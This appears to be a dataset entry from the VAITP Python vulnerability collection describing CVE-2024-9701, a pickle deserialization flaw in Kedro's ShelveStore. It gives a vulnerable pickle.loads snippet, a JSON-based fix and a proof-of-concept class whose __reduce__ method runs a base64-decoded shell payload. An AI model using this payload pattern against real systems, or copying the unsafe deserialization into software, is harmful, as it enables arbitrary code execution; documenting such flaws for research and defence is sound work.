CVE-2024-9701

Kedro ShelveStore RCE via malicious pickle deserialization allows arbitrary code execution.

• CVSS 9.8
• CWE-502
• Deserialization of Untrusted Data
• Remote

A Remote Code Execution (RCE) vulnerability has been identified in the Kedro ShelveStore class (version 0.19.8). This vulnerability allows an attacker to execute arbitrary Python code via deserialization of malicious payloads, potentially leading to a full system compromise. The ShelveStore class uses Python's shelve module to manage session data, which relies on pickle for serialization. Crafting a malicious payload and storing it in the shelve file can lead to RCE when the payload is deserialized.

CVE

CVE-2024-9701

CWE

CWE-502

CVSS base score

9.8

Published

2025-03-20

OWASP

A08 Software and Data Integrity Failures

Orthogonal defect classification

Interface

Code defect classification

Serialization Issues

Category

Deserialization of Untrusted Data

Subcategory

Insecure Parsing or Deserialization

Accessibility scope

Remote

Impact

Arbitrary Code Execution

Affected component

Kedro

Fixed by upgrading

Yes

Solution

Upgrade to Kedro version 0.19.9 or later.

import pickle

def load_data(data):
    """Load data - VULNERABLE to pickle RCE"""
    # VULNERABILITY: pickle.loads can execute arbitrary code
    return pickle.loads(data)

# Malicious payload can execute system commands
# when unpickled

import json

def load_data_secure(data):
    """Securely load data using JSON"""
    try:
        # SECURE: JSON only allows safe data types
        return json.loads(data)
    except json.JSONDecodeError:
        return None
    except Exception:
        return None

import pickle
import base64

payload = b"""
import os
os.system('touch /tmp/pwned')
"""

class EvilPickle(object):
    def __reduce__(self):
        return (os.system, (f"echo {base64.b64encode(payload).decode('utf-8')} | base64 -d | python",))

print(pickle.dumps(EvilPickle()))

@misc{vaitp:cve20249701,
  title        = {{Kedro ShelveStore RCE via malicious pickle deserialization allows arbitrary code execution.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2024-9701},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2024-9701/}}
}